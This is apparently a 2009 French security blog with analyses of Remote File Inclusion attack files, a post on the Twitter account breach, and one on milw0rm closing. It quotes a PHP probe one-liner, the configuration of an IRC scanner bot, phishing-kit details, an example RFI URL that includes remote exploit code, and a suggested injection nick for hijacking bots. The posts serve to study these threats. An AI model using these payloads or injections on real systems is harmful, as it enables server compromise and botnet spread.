mardi 28 juillet 2009

Remote File Inclusion - Part II

Cette seconde partie parle des fichiers utilisés par les pirates tentant d'effectuer des Remote File Inclusion, de leur utilisation que l'on peut en faire et de ce qu'on peut en déduire quand aux vélléités des pirates.

Majoritairement, les fichiers peuvent être rangés en trois familles, comme vu dans la Part I.
Intéressons nous aux fichiers ne faisant pas partie de ces familles. Par la suite, j'appelerai fichier RFI un fichier utilisé par les pirates.

1/Obfuscation
Tout d'abord, certains pirates utilisent de l'obfuscation. Le principe en est simple, il suffit de coder en base64 un document, puis d'utiliser la commande eval(base64_decode ...).
Certains pirates préferent encoder un base64 un fichier gzippé qui sera donc évalué. Je ne comprends pas forcément cette manière de faire, puisqu'il ne s'agit nullement de pouvoir cacher ou chiffrer de l'information, mais seulement de la dissimuler.
Je suis tombé sur certains fichiers qui pouvaient être encodés jusqu'à 8 fois d'affilée en mélangeant du base64 et/ou du gzip à chaque tour.
Mis à part perturber des néophytes complets, la méthode n'a pas vraiment d'interêt, mais elle reste toutefois largement utilisée. Le nombre de messages sur des forums de néophytes demandant comment lire ces lignes est éclairant à ce principe.
Les fichiers obfusqués de cette manière sont le plus souvent des fichiers de découverte d'environnements.

2/Ajout de commandes obfusquées
Souvent ces fichiers RFI contiennent uniquement une partie obfusquée. Son déchiffrement montre souvent que ce contenu est une adresse email contenant dans son corps l'URL appelante, l'IP du serveur, etc.. Tout d'abord, on peut penser qu'il s'agit d'une méthode pratique pour récolter les serveurs vulnérables suite à scan.
Toutefois, je pense plutôt qu'il s'agit de pirates qui se piratent entre eux. Une fois un fichier RFI trouvé, il devient simple d'ajouter son adresse mail et d'attendre que le premier pirate utilise ce fichier. Je penche dans cette direction pour deux raisons: Seule cette partie est obfusquée, et souvent elle est placée dans des endroits qui se veulent discret, comme par exemple après l'ajout d'une cinquantaine de lignes vides en fin du fichier RFI. L'ouverture de ce fichier dans un éditeur de texte n'affiche pas ce morceau de code ajouté, se trouvant beaucoup plus bas. Ce n'est pas très bien caché, mais c'est au même niveau que de cacher des infos à l'aide de la base64.

3/ Fichiers bots
Les fichiers bots contiennent souvent le nom d'un canal IRC sur lequel ils se connectent. Pour information, voici le genre d'en-tête contenu dans ces fichiers:
###############################################
# [!] McN RFI Botz Modified by cuex [!] #
###############################################
');
######################################################
## Usage: ##
## perl feelscanz.pl <chan w/o #> <server> <port>##
## Notes: ##
## + All Parameters are optional ##
## ##
## Features: ##
## + RFI Scanner ##
## + RFI Scan & Exploit (Exploit per engine) ##
## + Joomla RFI Scan & Exploit ##
## + Milw0rm Search ##
## + Google bypass (Using PHP) ##
## + Message Spy & Save ##
## + Auto Spreading ##
######################################################

On note que le canal et le serveur sont optionnels et peuvent être fournis sur la ligne de commande. Toutefois, on lit généralement:
##[ KONFIGURASI IRC ]##
my @servers = ("irc.openjoke.org"); #IRC Servers (Separated by coma)
my %bot = (
nick => "xxx[".int(rand(100))."]",
ident => "mcn".int(rand(100)),
chan => ["#megascan"], #Channels to join (Separated by coma)
server => $servers[rand(scalar(@servers))],
port => "6667"
);

Ce qui permet de savoir sur quel serveur la machine doit se connecter, quel sera son nick, etc. On trouve certaines configurations possédant des mots de passe, indiqués eux-aussi dans le fichier de conf.

L'accès à ces canaux est donc possible.

Et la connexion sur ces canaux est en fin de compte peu sources de renseignements.
Grosso modo, ces incursions sont de trois types:
-Arrivée sur un canal vide, sans absolument aucune personne, ni admin.
-Arrivée sur un canal et éjection quasi immédiate. L'admin lance une commande pour vérifier qu'il s'agit bien d'un bot (il est censé répondre aux commandes après tout). En cas de non réponse, éjection. Ce qui donne une impression de suivi de la part du botmaster de son réseau. Curieusement, ces canaux sont vides.
-Arrivée sur un canal parmi les autres bots et les admins. Le suivi des conversations des admins sur ce canal ou sur les autres canaux dont ils font partie ne fournit finalement que peu d'informations. Généralement, ils ne parlent pas anglais et les seuls URL qu'ils s'échangent sont des URL menant vers des films X (rapidshare, etc..). J'ai pu rester plusieurs heures sur différents canaux sans aucune action de la part du botmaster.

4/ Serveurs visés
La liste des fichiers visés par ces pirates est elle aussi relativement décevante. Au vu du code de ces RFI scanners, ce n'est pas étonnant, mais ils arrosent vraiment large puisque généralement tous les liens d'une page web sont testés. Il ne testent même pas si le fichier est un fichier php, ou s'il correspond réellement à un site vulnérable.
Les fichiers php visés ainsi que les variables correspondent à ce qui se trouve sur milw0rm (ce qui est loin d'être étonnant).

5/ Autres fichiers dignes d'interêt
J'ai trouvé également au cours de ces recherches un kit de phishing préparé. Il concernait la "Commonwealth Bank of Australia 2009", et comportait les fichiers suivants:
a.php, ago.php, complete.php, index.php, index2.php, mastercard.php, wps.html.
Le wps.html contenait le message de phishing classique:
"Dear Customer, With Maestro Card Number 560279XXXXXXXXX or MasterCard. You have been chosen by the Online Department to take part in our quick and easy survey" etc...
Avec un lien visible vers www3.netbank.commbank.com.au mais qui pointe réellement vers www.netbank.commbank-online.com/images/netbank/survey.html ...

Rien de bien neuf dans le phishing. Une recherche google montre que la banque australienne a été victime d'un phishing en mai 2009. Mon fichier récolté date de juin, je ne sais pas si c'est le même.

6/Et pour la suite?
En attendant un Remote File Inclusion - Part III, quelles sont les pistes à creuser?
-Ajouter à son tour son adresse mail dans les fichiers RFI afin de vérifier leur utilisation. Ceci est élégant, sans risque, mais n'est pas pleinement fonctionnel. Je pense que des configurations php peuvent être vulnérable alors que la configuration empêche l'envoi de mail.
-Réécrire un bot 'safe' qui n'effectue aucune action offensive, mais qui répond aux questions de statut. Ainsi, il est possible d'entrer sur un canal, et observer les commandes données par le botmaster. A ce sujet, et pour avoir vu le résultat sur les canaux dont je me faisais kicker, je pense que le recrutement des bots se fait en deux temps: Scan intensif, arrivée sur le canal. Selon l'état du bot, il doit être redirigé vers un canal secondaire. Ce canal secondaire pourrait être plus instructif que le premier.
-Trouver la primo-infection. Le RFI est basé sur un serveur qui contient un fichier offensif. Une fois un serveur vulnérable trouvé, il sera possible de lui faire héberger des fichiers RFI pour continuer l'infection. Mais quel a été le premier fichier? Je pense que l'état des serveurs hébérgeant ces fichiers RFI serait intéressante. Toutefois, certains de ces RFI doivent être directement hébérgés par le serveur appartenant au pirate.
-Télécharger des fichiers de logs des serveurs webs pour connaître la fréquence à laquelle ces fichiers sont appelés.
-Les bots connectés sur le chan IRC n'obéissent qu'aux ordres du botmaster. Je me demande à quel point il serait possible de faire une injection perl pour qu'il obéisse à un autre botmaster; genre utiliser comme nick: admin') #
-Envoyer un mail à une des adresses et se faire passer pour une machine vulnérable afin de voir la réaction de l'attaquant.

Bien entendu, ces options deviennent limites du point de vue éthique et posent des questions quant à leur mise en oeuvre. Pour l'instant, je n'ai pas mis en place ces otpions.

CONCLUSION/
Après m'être documenté sur les botnets, et plus particulièrement sur les bots perl, PHP et les RFI, je partage les conclusions de ces auteurs. Conclusions partagées par pas mal d'auteurs traitant de honeypots d'ailleurs.
Analyser ces botnets reste très intéressant mais les conclusions restent les mêmes: La majorité de ces fichiers que j'ai pu récupérer grâce à mon outil semblent être utilisés par du kiddie. Ceci est dû à la fois au type de faille employée (testable à grande échelle, scripts fournis prêts à l'emploi) mais peut-être aussi à leur manière de faire. Moins ils sont bons, plus ils arrosent large et plus j'ai de chance de les voir.

jeudi 23 juillet 2009

Security Fail

L'air du temps est au FAIL. On ne compte plus les failblog, les most epic fail, et la security fail chez News0ft et Sid.

Pourquoi ne pas croiser le Web2.0 FAIL avec la sécurité?

Actuellement, le service Web2.0 qui fait parler de lui est Twitter. Réseau social, suivi d'informations, fil d'actualités, on ne sait pas forcément très bien le définir (et encore moins son modèle économique), mais les faits sont là: de plus en plus de monde l'utilise et on lui prédit un avenir radieux.

Dernièrement, une "faille" (les guillemets sont de rigueurs) dans Twitter a permis à un pirate de récupérer des documents confidentiels concernant l'avenir de Twitter, son modèle économique, ses projections financières etc...
On a de nouveau entendu parler du cloud, du Web2.0 sur l'air de "It's Five AM, do you know where your datas are?", de la sécurité etc...

Ceci dit, la faille n'en est pas une. Un document de Techcrunch l'explique très bien.
Tout a reposé sur le temps libre d'un hacker français qui a pu trouver le password de la boite gmail d'un employé, puis d'un autre, etc.. en se basant sur deux points:
  • les utilisateurs emploient toujours le même mot de passe pour tous les services 'in the cloud' donc la connaissance d'un mot de passe permet d'accéder à tous les documents de l'user (google docs, MobileMe, etc..)
  • l'industrie des services en ligne utilise toujours une case "Mot de passe oublié?" qui se base sur une question censée être secrète. Mais dans l'air du temps qui comprend les réseaux sociaux et l'étalement des données privées, des questions comme le nom de jeune fille de la mère, le nom du chien, ou les 4 derniers chiffres du numéro de téléphone ne sont plus des données secrètes.
Techniquement, il n'existe donc a proprement parler, pas de faille. Une négligence de plusieurs utilisateurs, une capacité à googler de la part du hacker et ainsi, Twitter est piraté.


Alternativement, le blog de Matthieu Suiche, parlait lui d'une faille de conception entre Twitter et TwitPic en deux posts: "Security 2.0 is not a failure it's a nightmare" et "Security 2.0 Fairy tales and art of deception". Effectivement, ça n'est pas non plus une faille trouvée après une recherche poussée dans les fondements du code, mais la réaction de Twitter en devient glaçante. Et donc cette faille en est vraiment une: est-ce que Twitter comprend ce qu'est la sécurité, et pourquoi un PIN à 10^4 possibilités, c'est trop peu.
On a plus parlé de Britney Spears (son compte s'est fait pirater via cette faille) que de la faille en elle-même..

Les grandes questions de base concernant l'exposition de la vie privée (autant dans son exposition que dans l'impossibilité de sa non suppression par la suite) et concernant la localisation des données dans ce fameux cloud Web2.0 ne sont toujours pas abordée.

J'en profite pour faire un link vers un blog en anglais de C.Hoff, rationalsurvivability, qui a défaut de donner des solutions, pose souvent les bonnes questions (ce qui est souvent aussi important) concernant le duo infernal: Virtualisation + Cloud.

jeudi 16 juillet 2009

Remote file inclusion - Part1

Les Remote File Inclusion, ou RFI sont un vecteur d'attaque largement employé aujourd'hui.

Son fonctionnement consiste à faire exécuter à un serveur web du code choisi par l'attaquant. La majorité des attaques concerne PHP bien qu'il soit possible d'imaginer tout type de service web vulnérable à ce type d'attaque.

Le principe de base repose sur le fait que des serveurs webs peuvent inclure des fichiers qui sont en dehors de leur racine, voire en dehors de leur machine.
Ainsi, il suffit au pirate de demander de choisir le fichier à inclure pour exécuter le code de son choix.

M'intéressant au phénomène, j'ai donc codé un tool qui me permet de rappatrier à des fins d'analyses ces fameux fichiers.

Je vous propose donc l'analyse des RFI que j'ai pu mener suite à l'utilisation de cet outil.

1/Analyse globale
Globalement, les fichiers récoltés sont souvent les mêmes.
La première récolte m'a donc rappatrié 161 fichiers provenant d'autant de sources différentes. Une fois vérifiés, j'ai obtenu au total 53 fichiers différents.
Et effectivement au fur et à mesure de mes analyses je me suis rendu compte que les fichiers sont extrêmement souvent les mêmes. Les différences sont souvent mimimes, et repose majoritairement sur le nom du pirate qui est modifié.

2/ Analyse des buts visés
Il est possible globalement de classifier ces fichiers dans trois familles. Les fichiers de découverte, les fichiers de récupération d'informations et enfin les fichiers offensifs.

A/
Les fichiers de découvertes. Généralement, ils sont très petits, par exemple:

<?php /* aJ99ID */ echo("di"."Ki"); die("di"."Ki"); /* aJ99ID */ ?>

Le principe consiste juste à appeler un site visé en incluant ce fichier et vérifier que la page rendue contient le mot diKidiKi. Le but doit uniquement servir à découvrir un serveur web vulnérable.
Enormément de fichiers tournent autour de variations de celui-ci, à chaque fois le commentaire et le nom change.

B/
Des fichiers de découverte plus profonde. Ils récupèrent souvent la configuration php, l'OS utilisé, la taille disque, etc..
Comme on peut le voir dans cet exemple, le pirate récupère son nom, l'OS, l'uid sous laquelle il tourne, la mémoire utilisé, l'espace disque utilisé et l'espace disque total.

Par exemple:
(...différentes fonctions définies)
echo "Coracore<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";


De même, ce type de fichiers existe en de multiples exemplaires, tous tournant autour de ce type de récupération de données. Ceci va permettre au pirate de se constituer une base de données un peu plus précise des machines vulnérables et de leur interêt relatif selon l'usage futur qu'il peut imaginer.

C/
Enfin, les fichiers qui sont des scripts réellement offensifs. Il existe les PHPshells et les bots. Le PHPshell qui revient le plus souvent est le C99shell et le r57shell.
Au travers d'une interface web, ils permettent d'obtenir un contrôle complet de la machine visée.
Voir par exemple http://www.honeynet.cz/img/rfi-c99.jpg qui donne une bonne idée des possibilités offertes par ce genre d'outil.
Enfin, les bots lancent un process qui va se connecter sur un canal IRC afin d'attendre des ordres donnés par le pirate.
Ces fichiers sont bien entendus uniquement différents de par le nom du pirate et des canaux IRC sur lesquels il doivent se connecter.

Bien entendu, plusieurs autres fichiers s'écartent de cette classification, ce qui sera vu dans un second post.

jeudi 9 juillet 2009

Le site milw0rm ferme

Update: Le site milw0rm est de nouveau accessible.

Il n'y a pas d'informations particulières expliquant la raison de ce retour on-line.
Ce que je disais sur l'importance de ce site reste bien entendu valable.
--

Milw0rm est un site des années 90 qui a existé jusqu'à aujourd'hui.

Il agrégeait tout type de failles de sécurité, en les rendant accessible gratuitement.
C'était un outil intéressant à plus d'un titre. Bien que permettant à tous les hackers en herbe de télécharger et tester les exploits, il permettait aussi d'une part aux équipes de sécurité d'analyser ces exploits et d'autre part, du fait de leur diffusion, de sensibiliser les équipes informatiques aux problématiques de sécurité.

Les attaques étaient de plus directement exploitables pour la plupart, notemment
celle de Remote File Inclusion qui contenaient l'exploit fonctionnel, directement appelable depuis sa page. Ainsi, nous pouvions lancer une attaque
http://site/web/script.php?var=http://www.milw0rm.com/exploits/1234
Plusieurs scripts offensifs permettaient d'ailleurs d'appeler directement le site milw0rm par son numéro d'exploit, preuve s'il en est de son efficacité.

Ce site a fermé aujourd'hui, le 9 juillet.

L'auteur (str0ke) a simplement laissé un message laissant entendre qu'il n'avait plus suffisement de temps à accorder à ce site web:
"Well, this is my goodbye header for milw0rm. I wish I
had the time I did in the past to post exploits, I just
don't :(. For the past 3 months I have actually done
a pretty crappy job of getting peoples work out fast
enough to be proud of, 0 to 72 hours (taking off
weekends) isn't fair to the authors on this site. I
appreciate and thank everyone for their support
in the past.
Be safe, /str0ke"
Je pense qu'il est dommage que ce genre de site ferme, nous avons aujourd'hui de plus en plus de marchandisation d'exploits, ce qui n'est pas forcément de bon augure.

Le blog de sid en a plusieurs fois parlé, les failles de sécurité se monnayent aujourd'hui. Je repense au fameux "no more free bugs".

Lors de l'ouverture de milw0rm les failles de sécurité étaient cherchées comme un jeu et servaient de faire valoir à l'auteur. Encore une fois, je peux reciter le fameux "Smashing the stack for fun and profit" d'Aleph One. Smashing the stack, tout d'abord "for fun".

Aujourd'hui, ne reste t'il plus que le profit, sans fun?